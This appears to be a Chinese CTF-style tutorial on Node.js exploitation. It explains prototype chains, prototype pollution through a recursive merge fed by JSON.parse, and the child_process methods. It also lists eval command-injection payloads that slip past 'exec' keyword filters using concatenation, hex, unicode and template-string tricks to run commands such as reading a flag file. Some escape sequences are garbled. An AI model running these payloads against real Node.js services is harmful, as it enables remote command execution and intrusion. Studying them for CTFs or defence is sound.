挖洞经验之nodejs 中的漏洞技巧

零基础学黑客领资料
搜公众号:白帽子左一
关于原型链在JAVAscript中,继承的整个过程就称为该类的原型链 。
每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它自己的原型,一直到null为止 。
在JavaScript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype,但只有类有对象,对象没有,对象有的是__proto__ 。
like:
日期时:
f -> Data.prototype -> object.prototype->null
函数时:
d -> function.prototype -> object.prototype->null
数组时:
【挖洞经验之nodejs 中的漏洞技巧】c -> array.prototype -> object.prototype->null
类时:
b -> a.prototype -> object.prototype->null
当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined 。

挖洞经验之nodejs 中的漏洞技巧

文章插图
 
根据上图可知,访问f1原型的三种方式:
console.log(f1["__proto__"])console.log(f1.__proto__)console.log(f1.constructor.prototype)#这样可以看出对象的__proto__属性,指向类的原型对象prototype而访问到函数的方式则为:
console.log(f1.constructor.constructor)#这样我们就获取到了Function,可以构造出匿名函数来进行命令执行了 。关于merge函数在js当中如果存在使用merge函数或clone函数的情况下,可能会产生原型链污染 。
function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a}function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a}merge函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下,第二个对象是优先的) 。
如果属性同时存在于第一个和第二个参数上,并且它们都是Object类型,那么Merge函数将重新开始合并它 。
在这里可以控制b[attr]的值,将attr设为__proto__,也可以控制b中proto属性内的值,那当递归时,a[attr]在某个点实际上将指向对象a的原型,至此通过递归我们向所有对象添加一个新属性 。
需要配合JSON.parse使得我们输入的__proto__被解析成键名,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响
>let o2 = {a: 1, "__proto__": {b: 2}}>merge({}, o2)<undefined>o2.__proto__<{b: 2}>console.log({}.b)<undefined//并未污染原型>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')>merge({},o3)<undefined>console.log({}.b)<2//成功污染关于child_processnodejs基于事件驱动来处理并发,本身是单线程模式运行的 。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物 。
在child_process中有七个方法它们分别为:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法 。
在Nodejs中,nodejs通过使用child_process模块来生成多个子进程来处理其他事物就包括4个异步进程函数分别为spawn,exec,execFile,fork和3个同步进程函数spawnSync,execFileSync,execSync 。
关于nodejs的命令执行对于nodejs我们尝试用require来开启子进程进行命令执行 。
假设题目需要绕过一些敏感字符,如exec,所以我们有多种方法即字符串拼接或者字符串的编码转换,在nodejs当中,对于十六进制编码与unicode编码都是适应的 。
所以原先的:eval=require("child_process").execSync('cat fl001g.txt')
可以转变为:eval=require("child_process")['exe'%2b'cSync']('cat fl001g.txt')
或者是:eval=require("child_process")["x65x78x65x63x53x79x6ex63"]('cat fl001g.txt')
以及unicode编码:eval=require("child_process")["u0065u0078u0065u0063u0053x79x6ex63"]('cat fl001g.txt')
包括模板字符串:eval=require(%22child_process%22)[${${exe}cSync}](%27ls%27) 。
挖洞经验之nodejs 中的漏洞技巧

文章插图
 
文件读取有些时候只是为了读取文件的话,可以直接利用fs模块 。


推荐阅读